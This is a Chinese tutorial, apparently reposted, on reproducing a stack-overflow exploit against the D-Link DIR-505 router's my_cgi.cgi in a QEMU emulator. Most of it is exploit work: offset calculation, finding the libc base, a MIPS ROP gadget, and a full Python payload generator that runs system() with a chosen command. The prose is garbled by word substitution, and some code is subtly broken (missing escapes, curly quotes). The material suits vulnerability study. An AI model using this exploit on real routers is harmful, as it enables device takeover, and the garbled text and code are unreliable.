路由器漏洞复现:从原理到第一步验证

物联网的破绽复现和传统系统的破绽复现的不合点在于,物理网破绽依附于硬件,险些每一个破绽都得买一个新的硬件复现,这不合于传统系统只要下载好精确的对应版本软件即可。是以,在本地的虚拟情况中复现破绽是一个极其经济的做法。且在正式向实际硬件复现破绽之前,在本地虚拟情况中复现将有利于调试实际情况中的弗成预期问题。

本文是以以路由器破绽D-Link DIR-505为例,先容若何在本地虚拟机中完成破绽复现。在《揭秘家用路由器0day破绽掘客技巧》里面的第12章,先容了若何掘客以及使用D-Link DIR-505的破绽。然则书籍里面先容的措施,假如要在本地的QEMU虚拟机里面履行的话,有问题,由于在应用bash脚本输出履行的时刻,会自动过滤掉落null 字符,然后一个关键的调用system函数的地址就包孕了null字符,是以使得在本地QEMU的验证掉败。本文与书籍里面的措施不合,使用调用外部库libc.so.0里面的system函数,并且在libc.so.0里面探求可使用的gadget,来实现在本地QEMU虚拟机情况里面,对付D-Link DIR-505的破绽使用,无需在实际的设备中测试。假如必要在实际的设备中测试的时刻,仅必要改变代入库函数的基地址就可以。

在本文中,我将先容:1.若何调用从共享库libc.so.0里面调用system函数,2.若何确定共享库libc.so.0的基地址。此中,对付2,我供给了两种要领,着实还有第三种要领,然则我还尚未验证,理论上也是可行的,也将在文后提出来。

下面进入正题。条件是假设读者已经拥有了搭建好的QEMU情况。

1. binwalk 固件提取

首先惯例子,使用binwalk 将下载的Dlink固件提取:

$ binwalk -Me DIR505A1_FW108B07.bin

2. 阐发破绽关键位置

复用书籍中对付公布的破绽细节的阐发,可以发明破绽呈现的关键位置,在根目录的/usr/bin/my_cgi.cgi中。且关键输入源是storage_path=xx. 虽然CONTENT_LENGTH对付读取的storage_path的内容长度有所限定,然则对付CONTENT_LENGTH的数值没有限定,导致了实际上随意率性长度的字符串内容都可以被读取,导致了栈溢出的破绽。具体的阐发可以参考书中的第12章,这里不再赘述。

3. 阐发RA偏移

接下来便是阐发能够对付函数返回寄存器RA孕育发生溢出的偏移地址位置。应用书籍供给的patternLocOffset.py脚本天生字符串匹配脚本,来谋略偏移。

$ python patternLocOffset.py –c –l 600 –f dir505test

[*] Create pattern string contains 600 characters ok!

[+] output to passwd ok!

[+] take time: 0.0026 s

4. QEMU运行破绽法度榜样

接着应用如下脚原先使得my_cgi.cgi在QEMU的情况下履行:

# sudo bash my_cgi_test.sh

# INPUT=`python -c “print ‘storage_path=’+open(‘dir505test’,’r’).read()”`

INPUT=`python -c “print ‘storage_path=’+’B’*477450+open(‘dir505test’,’r’).read()”`

# LEN=$(echo -n “INPUT” | wc -c)

((LEN=477472+0x100))

PORT=”1234″

if [ “$LEN” == “0” ] || [ “$INPUT” == “-h” ] || [ “$UID” != “0” ]

then

echo -e “usage: sudo bash my_cgi_test.sh”

exit 1

fi

cp $(which qemu-mips-static) ./qemu

echo “CONTENT_LENGTH” + $LEN

echo “$INPUT” | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE=”manultipart/form-data” -E SCRIPT_NAME=”common” -E REQUEST_METHOD=”POST” -E REQUEST_URI=”/my_cgi.cgi” -g $PORT /usr/bin/my_cgi.cgi 2>/dev/null

echo “youtest”

rm -f ./qemu

这里要分外留意的有两点:一点是,CONTENT_LENGTH最好本武艺动指定长度,原始书籍里面供给的脚本设置的CONTENT_LENGTH长度是纰谬的,它显示只是bash脚本参数的个数(一样平常来说便是3或者5),那这样的话,就始终无法读取到我们之后所有设置的payload内容,这个部分我不停卡住了好久,而书籍中也不曾提到这一点,盼望各位小伙伴在复现的时刻必然留意。以是我们这里设置((LEN=477472+0x100))。 之后LEN会赋值给CONTENT_LENGTH。

另一点,storage_path这里要先覆盖掉落全部全局变量的长度,这个部分类似于书籍中阐发,可以发明memset(entries, 0 , 477450)的477450长度,以是我们设置477450的预先覆盖长度。

5. 运行脚本之后,应用IDA挂载法度榜样,在返回RA处设置断点,查看RA的数据。

可以发明覆盖的字符串内容为61374161, 那么我们来查找一下:

$ python patternLocOffset.py -s 0x61374161-l 700

[*] Create pattern string contains 700 characters ok!

[*] Exact match at offset 22

[+] take time: 0.0012 s

发明是第22个偏移。那么假如想要覆盖到RA的话,前面统共的偏移量为477450+22=477472.

6. gadget探求与使用

按照书籍原本的做法,直接找到在my_cgi.cgi里面的一个gadget 地址为0x00405B1C,这个地址是调用system函数的地址,然后在对应的位置覆盖要传入的CMD就可以。然则前面提到过,假如用bash脚本的话,会把null字符过滤掉落,导致地址无法精确输入,0x00405B1C中包孕了一个null字符0x00. 以是我们下面开始要探求共享库函数libc.so.0里面的system函数,并且也同时在libc.so.0使用探求可以使用的gadget来实现system函数调用、传参。

为了完成上述义务,必要完成以下步骤:A. 探求libc.so.0的基地址B. 探求system函数的位置C. 探求libc.so.0里面可以使用gadget

7. 探求libc.so.0的基地址

本文供给两种措施:使用读取proc文件的要领,和使用gdb调试的要领。

第一种,使用读取proc文件的要领。

在运行了bash脚本,且用IDA挂载之后,运行ps –ef查看对应进程的id

[1] [2] [3] [4]下一页

接下来运行下面的敕令,查看对应库导入的地址范围

$ sudo cat /proc/5006/maps

留意,libc.so.0的符号连接便是这个libuClibc-0.9.30.so,这个问题曾经也不停困扰我好久,盼望大年夜家必然留意这个点。是以我们就确定了这个库的基地址是:0x408c2000

第二种要领,使用gdb调试。

这里应用的是gdb远程调试的要领。同样的,在运行了bash脚本之后,运行下面的敕令进行调试

$gdb my_cgi.cgi

Type “apropos word” to search for commands related to “word”…

Reading symbols from my_cgi.cgi…(no debugging symbols found)…done.

(gdb) target remote 127.0.0.1:1234

Remote debugging using 127.0.0.1:1234

warning: remote target does not support file transfer, attempting to access files from local filesystem.

warning: Unable to find dynamic linker breakpoint function.

GDB will be unable to debug shared library initializers

and track explicitly loaded dynamic code.

0x00000000 in ?? ()

(gdb) break *0x00400034

Breakpoints 1 0x00400034

(gdb) set solib-search-path ../../lib

warning: `/home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.so’: Shared library architecture unknown is not compatible with target architecture i386.

warning: `/home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.so’: Shared library architecture unknown is not compatible with target architecture i386.

Reading symbols from /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.so…(no debugging symbols found)…done.

warning: Unable to find dynamic linker breakpoint function.

GDB will be unable to debug shared library initializers

and track explicitly loaded dynamic code.

(gdb) c

Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.

0x00400034 in ?? ()

(gdb) info sharedlibrary

FromToSyms ReadShared Object Library

Yes (*)/home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.so

0x408199100x4081cab0Yes/home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libmidware.so

0x4082f5800x40836b80Yes/home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libputil.so

0x4084a9a00x4084ce80Yes/home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libeutil.so

0x4085fb500x40860e00Yes/home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libnvram.so

0x408734d00x40874bd0Yes/home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libmd5.so

Yes/home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libgcc_s.so.1

0x408cbf900x408ebf90Yes/home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.so

(*): Shared library is missing debugging information.

可以发明载入的地址是0x408cbf90,然则这个不是基地址,而是载入了libc.so.0的进口地址,基地址就要减去其进口地址。履行下面的敕令:

$ readelf -a libc.so.0 |more

ELF Header:

Magic:7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00

Class:ELF32

Data:2’s complement, big endian

上一页[1] [2] [3] [4]下一页

Version:1 (current)

OS/ABI:UNIX – System V

ABI Version:0

Type:DYN (Shared object file)

Machine:MIPS R3000

Version:0x1

Entry point address:0x9f90

Start of program headers:52 (bytes into file)

终极可以谋略获得基地址:0x408cbf90-0x9f90=0x408c2000。 和前面获得的是一样的。

第三种要领,使用已经载入的函数地址。

算是思路。即,在动态载入了函数今后,在main函数里面查找调用了libc.so.0里面函数的位置,下断点,找到其已经谋略好的函数偏移func_offset, 然后在libc.so.0里面找到该函数的偏移libc_offset, 两者相减便是基地址: base_offset = func_offset – libc_offset。 尚未验证,然则理论上是可行的。

8. 探求system函数在libc.so.0里面的地址。

这个简单,直接用IDA导入libc.so.0,然后查找即可。

是以,在这个例子里面,system函数的地址为:0x0004BC80.

9. 探求libc.so.0里面可以使用gadget

使用IDA脚本 mipsrop.stackfinder(),既可以找到。

发明0x 000149AC这个位置的代码段好用。其代码块内容为:

LOAD:000149ACaddiu$s5, $sp, 0x170-0x160

LOAD:000149B0move$a1, $s3

LOAD:000149B4move$a2, $s1

LOAD:000149B8move$t9, $s0

LOAD:000149BCjalr$t9 ; mempcpy

LOAD:000149C0move$a0, $s5

是以,只要在sp+0x170-0x160 放入必要履行的敕令(比如“ls”),然后在s0填入system函数的地址就可以了。

全部客栈的payload覆盖示意图如下面所示:

关键的位置用灰底色标记出来了。完备的破绽使用payload天生脚本为:

#!/usr/bin/env python

import struct

print ‘[*] prepare shellcode’,

cmd = “ls”# command string

cmd += “x00″*(4 – (len(cmd) % 4))# align by 4 bytes

libc = 0x408c2000

libcSystemaddress = 0x0004BC80

libcSystemCaller = 0x000149AC

#shellcode

paddinglen = 477472 – 36;

shellcode = “A”*paddinglen# padding buf

shellcode += struct.pack(“>L”,libc+libcSystemaddress) # s0,

shellcode += “B”*4; # s1,

shellcode += “B”*4; # s2,

shellcode += “B”*4; # s3,

shellcode += “B”*4; # s4,

shellcode += “B”*4 # s5,

shellcode += “B”*4; # s6,

shellcode += “B”*4; # s7,

shellcode += “B”*4; # fp,

shellcode += struct.pack(“>L”,libc+libcSystemCaller)#after fill the RA, then it is the SP stack start.

shellcode += “C”*0x10 # padding for fill the parameter cmd.

shellcode += cmd

shellcode += “0x00”

print ‘ ok!’

上一页[1] [2] [3] [4]下一页

#create password file

print ‘[+] create password file’,

fw = open(‘dir505test’,’w’)

fw.write(shellcode)

fw.close()

print ‘ ok!’

10. 履行效果

可以发明破绽在本地的QEMU虚拟机中也被成功的使用了。省去了我们要借助实际路由器的麻烦。

总结

为了能够在QEMU情况中实现破绽复现的第一步验证,实现一个靠得住的ROP chain是有需要的。大概有的读者会说,虽然bash里面会自动把null过滤掉落,那么可以探求规划让bash不过滤掉落null不就行了?这个思路治标不治本,是以虽然在某些例子里面,纵然payload包孕null也ok(比如之前颁发过的文章: MIPS缓冲区溢出漏洞实践),然则作为一个向着通用破绽提高的规划,该当是尽可能构造一个无null字符的payload。本文在实践历程中总结了一些可能会碰到的坑,这些坑书籍里面没有提到,盼望大年夜家能够避免。此外,除了本文提到的要领,还可以经由过程构造shellcode的要领来避免null byte。Shellcode的构造将在未来先容。

上一页[1] [2] [3] [4]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包